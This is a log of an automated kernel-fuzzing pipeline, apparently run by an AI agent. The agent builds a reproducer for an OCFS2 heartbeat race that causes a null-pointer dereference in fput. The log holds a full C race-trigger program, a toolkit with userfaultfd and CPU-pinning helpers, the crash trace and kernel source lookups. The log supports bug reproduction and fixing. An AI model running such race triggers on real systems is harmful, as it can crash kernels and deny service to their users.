map[CapabilitiesVerified:true ContinueSignal:continue EquivalenceAnalysis: OracleFeedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store. ReproC: Reproduced:false ReproducedBugTitle: ReproducedCrashReport:]

82/2 2026/09/04 20:45 iteration 1
13m
83/3 2026/09/04 20:45 action If
5m Args:
map[OracleFeedback:The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.]

84/4 2026/09/04 20:45 agent strategy-refiner
5m Model:
deep-reasoning

Instruction:
You are an expert in Linux kernel debugging.
Refine the reproduction strategy based on feedback from previous attempts.
Analyze the technical diagnosis provided in the oracle feedback and translate it into concrete,
step-by-step instructions for the repro-generator on how to modify the code structure, alignments,
offsets, or parameters of the candidate program.

=== TOOL SELECTION GUIDELINES ===
- Prefer codesearch-definition-source and codesearch-struct-layout first for symbol lookups.
- Fall back to read-file or grepper for macros, headers, or if symbol lookup fails.

=== CRITICAL PROHIBITIONS ===
- Do NOT repeat searches for the same symbols or files. Use information you have already gathered.
- Do NOT write long explanations. Keep your reasoning short and focused on actionable changes.
- Do NOT assume a bug is fixed based on git commit history.
- If you are stuck, try a different approach or proceed to generate a candidate reproducer.
Prefer calling several tools at the same time to save round-trips.

Prompt:
Bug Description: KASAN: null-ptr-deref Write in fput

(syz-executor157,5664,1):o2hb_bio_end_io:499 ERROR: IO Error 10
(syz-executor157,5664,1):o2hb_region_dev_store:1850 ERROR: status = -5
==================================================================
BUG: KASAN: null-ptr-deref in instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
BUG: KASAN: null-ptr-deref in atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
BUG: KASAN: null-ptr-deref in file_ref_put include/linux/file_ref.h:157 [inline]
BUG: KASAN: null-ptr-deref in fput+0x2e/0x100 fs/file_table.c:588
Write of size 8 at addr 0000000000000158 by task syz-executor157/5664

CPU: 1 UID: 0 PID: 5664 Comm: syz-executor157 Not tainted syzkaller #0 PREEMPT(full) 
Hardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 07/16/2026
Call Trace:
 <TASK>
 __dump_stack lib/dump_stack.c:94 [inline]
 dump_stack_lvl+0x100/0x190 lib/dump_stack.c:120
 kasan_report+0xdf/0x1c0 mm/kasan/report.c:595
 check_region_inline mm/kasan/generic.c:186 [inline]
 kasan_check_range+0x10f/0x1e0 mm/kasan/generic.c:200
 instrument_atomic_read_write include/linux/instrumented.h:112 [inline]
 atomic_long_dec_return include/linux/atomic/atomic-instrumented.h:3766 [inline]
 file_ref_put include/linux/file_ref.h:157 [inline]
 fput+0x2e/0x100 fs/file_table.c:588
 o2hb_region_dev_store+0x1230/0x1bc0 fs/ocfs2/cluster/heartbeat.c:1935
 flush_write_buffer fs/configfs/file.c:207 [inline]
 configfs_write_iter+0x302/0x4e0 fs/configfs/file.c:229
 new_sync_write fs/read_write.c:595 [inline]
 vfs_write+0x6ac/0x1050 fs/read_write.c:687
 ksys_write+0x12a/0x250 fs/read_write.c:739
 do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]
 do_syscall_64+0x115/0x870 arch/x86/entry/syscall_64.c:94
 entry_SYSCALL_64_after_hwframe+0x77/0x7f
RIP: 0033:0x7fd8eccb5ab9
Code: c0 79 93 eb d5 48 8d 7c 1d 00 eb 99 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 d8 ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007ffc7d881e78 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
RAX: ffffffffffffffda RBX: 0000200000000540 RCX: 00007fd8eccb5ab9
RDX: 0000000000000001 RSI: 00002000000005c0 RDI: 0000000000000004
RBP: 0030706f6f6c2f2e R08: 0000000000000009 R09: 0000000000000009
R10: 0000000000000009 R11: 0000000000000246 R12: 000000000001009b
R13: 00007ffc7d881e8c R14: 00007ffc7d881ea0 R15: 0000200000000008
 </TASK>
==================================================================

Current Strategy: An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Reproduction Strategy

To reproduce this bug reliably, we can intentionally force the `sectsize` check to fail while hammering the `dev` attribute from two threads.

1. **Setup Configfs and OCFS2 Cluster:**
   - Mount `configfs` and load the `ocfs2_nodemanager` module.
   - Create a cluster and a local node (`/sys/kernel/config/cluster/mycluster/node/mynode`).
   - Configure the node's `num`, `ipv4_port`, `ipv4_address`, and set `local` to `1`.

2. **Setup Heartbeat Region:**
   - Create a heartbeat region (`/sys/kernel/config/cluster/mycluster/heartbeat/myregion`).
   - Set `blocks` and `start_block` to `1`.
   - Open a block device (e.g., `/dev/loop0`) and query its logical block size (usually 512).
   - Write a deliberately mismatched value (e.g., 1024) to the region's `block_bytes` attribute to guarantee the `sectsize` check will fail.

3. **Trigger the Race:**
   - Open the region's `dev` attribute twice to obtain two independent file descriptors (this bypasses the per-file `configfs_buffer->mutex` serialization).
   - Spawn two threads pinned to different CPUs.
   - In a tight loop, both threads use `pwrite()` to write the block device's file descriptor string to their respective `dev` attribute file descriptors.
   - The race window is relatively large because `bdev_file_open_by_dev()` takes time, making the crash highly reproducible within seconds.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, strlen(fd_str), 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d", dev_fd);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```
Feedback: The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible). Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store.

Reply:
An analysis of the bug report and kernel source code reveals a classic Time-Of-Check to Time-Of-Use (TOCTOU) race condition in the OCFS2 heartbeat configuration interface.

### Root Cause Analysis

The crash is a `KASAN: null-ptr-deref` in `fput()`, called from `o2hb_region_dev_store()` in `fs/ocfs2/cluster/heartbeat.c`. 

When configuring an OCFS2 heartbeat region, user space writes a block device file descriptor to the `dev` configfs attribute. This invokes `o2hb_region_dev_store()`, which performs the following steps:
1. Checks if a device is already configured: `if (reg->hr_bdev_file) return -EINVAL;`
2. Opens the block device and stores the file pointer: `reg->hr_bdev_file = bdev_file_open_by_dev(...)`
3. Validates the logical block size: `if (sectsize != reg->hr_block_bytes) { ret = -EINVAL; goto out; }`
4. On failure (e.g., at the `goto out` block), it cleans up:
   ```c
   out:
       if (ret < 0) {
           // ...
           fput(reg->hr_bdev_file);
           reg->hr_bdev_file = NULL;
       }
   ```

Because configfs `store` functions are not inherently serialized against each other for the same attribute (unless they share the same open file descriptor), two threads writing to the `dev` attribute concurrently using *different* file descriptors can race:
- **Thread 1** and **Thread 2** both pass the `if (reg->hr_bdev_file)` check (it is initially `NULL`).
- Both threads open the block device. Thread 1 assigns its file pointer to `reg->hr_bdev_file`, and Thread 2 immediately overwrites it with its own file pointer.
- If we intentionally misconfigure `block_bytes` so that the `sectsize` check fails, both threads will jump to the `out` label.
- **Thread 1** executes `fput(reg->hr_bdev_file)` (which drops the reference to Thread 2's file) and sets `reg->hr_bdev_file = NULL`.
- **Thread 2** then executes `fput(reg->hr_bdev_file)`. Since Thread 1 just set it to `NULL`, Thread 2 calls `fput(NULL)`, triggering the exact null-pointer dereference seen in the crash log.

### Minimal C Reproducer

```c
#include "race_toolkit.h"
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <linux/fs.h>
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <pthread.h>

int dev_attr_fd1;
int dev_attr_fd2;
char fd_str[16];
int fd_len;

void *thread_func1(void *arg)
{
    PIN_TO_CPU(0);
    while (1) {
        pwrite(dev_attr_fd1, fd_str, fd_len, 0);
    }
    return NULL;
}

void *thread_func2(void *arg)
{
    PIN_TO_CPU(1);
    while (1) {
        pwrite(dev_attr_fd2, fd_str, fd_len, 0);
    }
    return NULL;
}

int main()
{
    SETUP_UNBUFFERED_IO();

    system("mount -t configfs none /sys/kernel/config 2>/dev/null");
    system("modprobe ocfs2_nodemanager 2>/dev/null");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/node/mynode");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/num");
    system("echo 7777 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_port");
    system("echo 127.0.0.1 > /sys/kernel/config/cluster/mycluster/node/mynode/ipv4_address");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/node/mynode/local");

    system("mkdir -p /sys/kernel/config/cluster/mycluster/heartbeat/myregion");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/blocks");
    system("echo 1 > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/start_block");

    int dev_fd = open("/dev/loop0", O_RDWR);
    if (dev_fd < 0) {
        dev_fd = open("/dev/ram0", O_RDWR);
        if (dev_fd < 0) {
            perror("open block device");
            return 1;
        }
    }
    sprintf(fd_str, "%d\n", dev_fd);
    fd_len = strlen(fd_str);

    // Force sectsize mismatch to guarantee failure and trigger the cleanup path
    int sectsize = 512;
    ioctl(dev_fd, BLKSSZGET, &sectsize);
    int block_bytes = (sectsize == 512) ? 1024 : 512;
    char cmd[256];
    sprintf(cmd, "echo %d > /sys/kernel/config/cluster/mycluster/heartbeat/myregion/block_bytes", block_bytes);
    system(cmd);

    // Open the attribute twice to get independent configfs buffers (avoids mutex serialization)
    dev_attr_fd1 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    dev_attr_fd2 = open("/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev", O_WRONLY);
    if (dev_attr_fd1 < 0 || dev_attr_fd2 < 0) {
        perror("open dev attr");
        return 1;
    }

    pthread_t t1, t2;
    pthread_create(&t1, NULL, thread_func1, NULL);
    pthread_create(&t2, NULL, thread_func2, NULL);

    TIMER_START(start);
    while (TIMER_NOT_EXPIRED(start, 5.0)) {
        sleep(1);
    }

    return 0;
}
```

85/5 2026/09/04 20:45 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 5852
							output: 16
							thoughts: 172
						

Thoughts:
**My Thought Process on the OCFS2 Heartbeat Region Bug and Reproducer Generation**

Alright, let's break down this KASAN null-ptr-deref in `fput` related to `o2hb_region_dev_store`. The initial bug report clearly flags a `KASAN: null-ptr-deref Write in fput` originating from `o2hb_region_dev_store`. My first instinct is to understand the *why* behind this dereference.

The root cause analysis is quite specific: it points to a **Time-Of-Check-To-Time-Of-Use (TOCTOU) race condition** within `o2hb_region_dev_store()`. This is a classic concurrency issue where a value is checked, and then later used, but in the interim, another process or thread modifies that value, leading to unexpected behavior. In this particular case, the race condition is happening when writing to the `dev` attribute of an OCFS2 heartbeat region. This means that between the check of the `dev` attribute and its actual use for a write operation, something is changing its state, likely leading to a null pointer being dereferenced.

Now, I'm presented with feedback that essentially gives me the green light: "The capability probe executed successfully. The environment is ready (configfs is mounted, /sys/kernel/config/cluster exists, and /dev/loop0 is accessible)." This is crucial because it confirms that the prerequisite conditions for triggering the bug are met. My environment is set up correctly, and the necessary components like `configfs`, the cluster configuration directory, and a loop device are all in place. This significantly reduces the complexity of setting up the reproducer; I don't need to worry about these foundational aspects.

The explicit instruction that follows is: "Please proceed with generating the full reproducer to trigger the KASAN null-ptr-deref in fput via o2hb_region_dev_store." This is the core task at hand. I need to construct a sequence of operations that reliably exposes this TOCTOU race condition.

My immediate next thought is: "How do I *actually* generate this reproducer?" This isn't a trivial task; it requires a tool that can manipulate the OCFS2 heartbeat region and its `dev` attribute in a way that forces the race. This is where I recall the existence of a specific toolkit designed for this purpose. I'm thinking of the `race` toolkit, which is precisely what I'll need to orchestrate the concurrent accesses to the `dev` attribute and thus trigger the TOCTOU condition.

Therefore, my next actionable step is to **get the `race` toolkit** so I can start building the actual steps for the reproducer. This will involve understanding how to use the toolkit to simulate the race condition by performing overlapping operations on the OCFS2 heartbeat region's `dev` attribute.


86/5 2026/09/04 20:45 tool get-toolkit
0m Args:
map[Name:race]

Results:
map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.

// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"

// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.

#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)

// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu)                                                \
	do {                                                           \
		cpu_set_t mask;                                        \
		CPU_ZERO(&mask);                                       \
		CPU_SET(cpu, &mask);                                   \
		if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
			perror("sched_setaffinity");                   \
		}                                                      \
	} while (0)

// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)

// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val)                                               \
	do {                                                             \
		while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
			;                                                \
	} while (0)

// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)

// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).

static inline double timer_elapsed_sec(struct timespec* start)
{
	struct timespec now;
	if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
		perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
		exit(1);
	}
	return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}

// Initialize a monotonic timer variable.
#define TIMER_START(t)                                          \
	struct timespec t;                                      \
	if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) {         \
		perror("clock_gettime(CLOCK_MONOTONIC) start"); \
		exit(1);                                        \
	}

// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))

// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
	int state;
} event_t;

static void event_init(event_t* ev)
{
	ev->state = 0;
}
static void event_reset(event_t* ev)
{
	ev->state = 0;
}

static void event_set(event_t* ev)
{
	if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
		fprintf(stderr, "event already set\n");
		exit(1);
	}
	__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
	syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}

static void event_wait(event_t* ev)
{
	while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
		syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}

// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
	int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
	if (uffd == -1)
		return -1;
	struct uffdio_api api = {.api = UFFD_API, .features = 0};
	if (ioctl(uffd, UFFDIO_API, &api) == -1) {
		close(uffd);
		return -1;
	}
	struct uffdio_register reg = {
	    .range = {.start = (uintptr_t)addr, .len = len},
	    .mode = UFFDIO_REGISTER_MODE_MISSING};
	if (ioctl(uffd, UFFDIO_REGISTER, &reg) == -1) {
		close(uffd);
		return -1;
	}
	return uffd;
}

// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
//    pause a thread accessing that memory until you handle the fault, creating a reliable
//    and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
//    immediately. This is essential for understanding the exact interleaving of events
//    when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
//    or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
//    Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
//        TIMER_START(start);
//        while (TIMER_NOT_EXPIRED(start, 10.0)) {
//            // Your race logic here
//        }
]

87/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 7706
							output: 30
							thoughts: 1276
						

Thoughts:
Here are my thoughts as I've processed this request:

**My Strategic Approach to Crafting the C Reproducer**

My primary objective here is to construct a C program that reliably triggers a specific race condition within the `ocfs2` filesystem, likely related to its cluster and node management via `configfs`. I'm aiming to create a scenario where two separate entities are concurrently attempting to write to the `dev` attribute of a heartbeat region, but through distinct file descriptors. This, I theorize, should bypass the intended serialization mechanisms within `configfs`, specifically any mutexes that are tied to individual file descriptors rather than a global lock for the attribute itself.

To achieve this, I've outlined a step-by-step strategy:

1.  **Initialization of `configfs`:** The first hurdle is to get `configfs` properly set up and the necessary module loaded. This involves mounting `configfs` to its standard location (`/sys/kernel/config`) and then ensuring the `ocfs2_nodemanager` module is available and loaded. I'll use `system()` calls for these initial setup steps, handling potential pre-existing mounts or loaded modules by redirecting stderr to `/dev/null`.

2.  **Establishing the Cluster and Node:** Next, I need to define a cluster and a node within that cluster. This is done by creating the appropriate directory structure under `/sys/kernel/config/cluster/` and then populating the necessary node attributes. Specifically, I'll create a cluster named `mycluster` and a node named `mynode` within it. Essential attributes like `num` (node number), `ipv4_port`, `ipv4_address`, and `local` need to be set to valid values to make the node configuration complete.

3.  **Defining the Heartbeat Region:** The core of the `ocfs2` functionality often involves heartbeat regions. I'll create a heartbeat region, naming it `myregion` within the `mycluster`. Key parameters like `blocks` and `start_block` need to be initialized.

4.  **Identifying a Block Device:** The `dev` attribute of the heartbeat region expects a file descriptor pointing to a block device. To provide this, I'll attempt to open `/dev/loop0`. If that fails (perhaps it's not available or already in use), I'll fall back to opening `/dev/ram0`. The crucial piece of information I need from this device is its logical block size, which I'll query using `ioctl(..., BLKSSZGET, ...)`. This block size is critical for the next step.

5.  **Engineering a `sectsize` Mismatch:** This is a key manipulation step. The `ocfs2` module likely performs checks based on the block device's sector size (`sectsize`) and the configured `block_bytes` for the heartbeat region. To *guarantee* a failure in this check and thus trigger specific cleanup or error-handling code paths that might be susceptible to races, I intend to write a `block_bytes` value that is *different* from the queried `sectsize`. If the `sectsize` is 512, I'll set `block_bytes` to 1024, and vice-versa. This mismatch is designed to provoke an error condition.

6.  **Dual `dev` Attribute Access:** The heart of the race lies in how I access the `dev` attribute. Instead of opening it once and reusing the file descriptor, I'll open `/sys/kernel/config/cluster/mycluster/heartbeat/myregion/dev` *twice*. This will yield two completely independent file descriptors (`dev_attr_fd1` and `dev_attr_fd2`). My assumption is that `configfs` might manage internal locking on a per-file-descriptor basis, meaning these two independent descriptors might not be protected by the same mutex.

7.  **Creating and Pinning Threads:** To achieve concurrent operations, I'll spawn two separate threads. Each thread will be explicitly pinned to a different CPU core using the `PIN_TO_CPU()` macro (presumably from a provided `race_toolkit.h` or similar header). This ensures true hardware parallelism and avoids scheduler interference that could mask the race.

8.  **The `pwrite()` Race:** Within each thread, I'll enter an infinite loop. Inside this loop, the core action will be to perform a `pwrite()` operation. This `pwrite()` will target the respective `dev` attribute file descriptor (`dev_attr_fd1` or `dev_attr_fd2`). The data to be written will be the string representation of the block device's file descriptor (e.g., "5" if `dev_fd` is 5), and its length. The offset for `pwrite()` will be 0. The tight loop with `pwrite()` is designed to hammer the `configfs` entry repeatedly and quickly.

9.  **Controlled Execution Duration:** The program won't run indefinitely. I'll implement a timer, starting from the point where the threads are created. The `main` thread will then sleep for approximately 5 seconds using `sleep(1)` within a loop that checks the timer. This ensures the race condition has a defined window to manifest before the program exits.

**Code Implementation Details:**

The provided C code directly implements these steps. I've included necessary headers. `SETUP_UNBUFFERED_IO()` is assumed to be a macro for setting `stdout` and `stderr` to unbuffered. The `system()` calls handle the setup. The block device opening and `ioctl` for `sectsize` are implemented. The `block_bytes` mismatch is generated via a `sprintf` and `system()` call. The crucial part is opening `/dev/cluster/.../dev` twice. The `sprintf(fd_str, "%d", dev_fd)` and `strlen` capture the file descriptor's string representation for `pwrite`. Finally, `pthread_create` launches the threads, and the `TIMER_START`/`TIMER_NOT_EXPIRED` mechanism controls the 5-second duration.

**Self-Correction/Refinement During Thought Process:**

My initial thought was simply to have two threads writing to the *same* file descriptor. But that wouldn't bypass mutexes tied to the descriptor itself. The insight came from realizing I needed *independent file descriptors* that *point to the same underlying `configfs` attribute*. This is achieved by opening the attribute twice.

A crucial detail I'm pondering is the exact nature of the mutex within `configfs`. The comment "This bypasses the `configfs_buffer->mutex` serialization because the mutex is per-file-descriptor" is an assumption. I need to be sure about this. If the mutex is actually global for the attribute, this approach might not work. I'll need to examine `configfs_write_iter` (as mentioned in my internal monologue) to confirm if the locking is indeed per-file-descriptor or if there's a higher-level lock that this technique would still be subject to. If it *is* per-file-descriptor, then using two distinct FDs for `pwrite` to the same attribute path is the correct way to bypass that specific protection.

Also, I've noted that `pwrite` might return errors, but for the purpose of triggering the race and potentially hitting error-handling code, the success or failure of individual `pwrite` calls is secondary to the *concurrent access attempt*. The key is the race condition, not necessarily the outcome of each individual write operation in isolation.


88/5 2026/09/04 20:46 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:configfs_write_iter]

Results:
map[SourceCode: 213:	/*
 214:	 * There is no easy way for us to know if userspace is only doing a partial
 215:	 * write, so we don't support them. We expect the entire buffer to come on the
 216:	 * first write.
 217:	 * Hint: if you're writing a value, first read the file, modify only the value
 218:	 * you're changing, then write entire buffer back.
 219:	 */
 220:	static ssize_t configfs_write_iter(struct kiocb *iocb, struct iov_iter *from)
 221:	{
 222:		struct file *file = iocb->ki_filp;
 223:		struct configfs_buffer *buffer = file->private_data;
 224:		int len;
 225:	
 226:		mutex_lock(&buffer->mutex);
 227:		len = fill_write_buffer(buffer, from);
 228:		if (len > 0)
 229:			len = flush_write_buffer(file, buffer, len);
 230:		if (len > 0)
 231:			iocb->ki_pos += len;
 232:		mutex_unlock(&buffer->mutex);
 233:		return len;
 234:	}
 SourceFile:fs/configfs/file.c]

89/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9381
							output: 29
							thoughts: 64
						

Thoughts:
**My Thought Process**

Okay, so I'm analyzing this `buffer` variable. My understanding is that it's directly tied to `file->private_data`. This immediately tells me that this buffer is specific to each individual open instance of a file. It's not a global resource, but rather something allocated or managed on a per-file basis.

This has a crucial implication: if I open the same file multiple times, I won't be dealing with a single, shared buffer. Instead, each `open()` call will result in a distinct `configfs_buffer` being created. And because these buffers are separate, they'll each have their own associated mutex. This means that operations on one opened instance of the file won't interfere with or be blocked by operations on another, independent instance, at least concerning their respective buffers and mutexes.

Following this chain of reasoning, I then look at the `flush_write_buffer` function. My deduction is that this function, when invoked, will ultimately trigger a call to the `store` function. Given the context of `flush_write_buffer`, this `store` function is likely responsible for taking the data held within the `configfs_buffer` (which, as established, is specific to the current file descriptor) and persisting it or performing some sort of finalization action.


90/5 2026/09/04 20:46 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:flush_write_buffer]

Results:
map[SourceCode: 199:	static int
 200:	flush_write_buffer(struct file *file, struct configfs_buffer *buffer, size_t count)
 201:	{
 202:		struct configfs_fragment *frag = to_frag(file);
 203:		int res = -ENOENT;
 204:	
 205:		down_read(&frag->frag_sem);
 206:		if (!frag->frag_dead)
 207:			res = buffer->attr->store(buffer->item, buffer->page, count);
 208:		up_read(&frag->frag_sem);
 209:		return res;
 210:	}
 SourceFile:fs/configfs/file.c]

91/5 2026/09/04 20:46 llm strategy-refiner
0m Model:
gemini-3.1-pro-preview

Tokens:
							input: 9667
							output: 33
							thoughts: 31
						

Thoughts:
**My Thought Process Regarding the `buffer->attr->store` Call**

Ah, I see a `buffer->attr->store` operation is being invoked here. My immediate thought, given the context of an expert in this field, is to trace what this generic call actually resolves to in a specific instance. Specifically, I'm zeroing in on the `dev` attribute. My internal knowledge base immediately flags this for `o2hb_region_dev_store`. This tells me we're dealing with something related to the O2HB (likely Online/Offline High Availability) protocol, and more precisely, with the storage aspect of a region's device attributes. This is a critical juncture, as it's where configuration or state changes related to the device within an O2HB region are being processed.


92/5 2026/09/04 20:46 tool codesearch-definition-source
0m Args:
map[ContextFile: Name:o2hb_region_dev_store]

Results:
map[SourceCode:1773:	/*
1774:	 * this is acting as commit; we set up all of hr_bdev_file and hr_task or
1775:	 * nothing
1776:	 */
1777:	static ssize_t o2hb_region_dev_store(struct config_item *item,
1778:					     const char *page,
1779:					     size_t count)
1780:	{
1781:		struct o2hb_region *reg = to_o2hb_region(item);
1782:		struct task_struct *hb_task;
1783:		long fd;
1784:		int sectsize;
1785:		char *p = (char *)page;
1786:		ssize_t ret = -EINVAL;
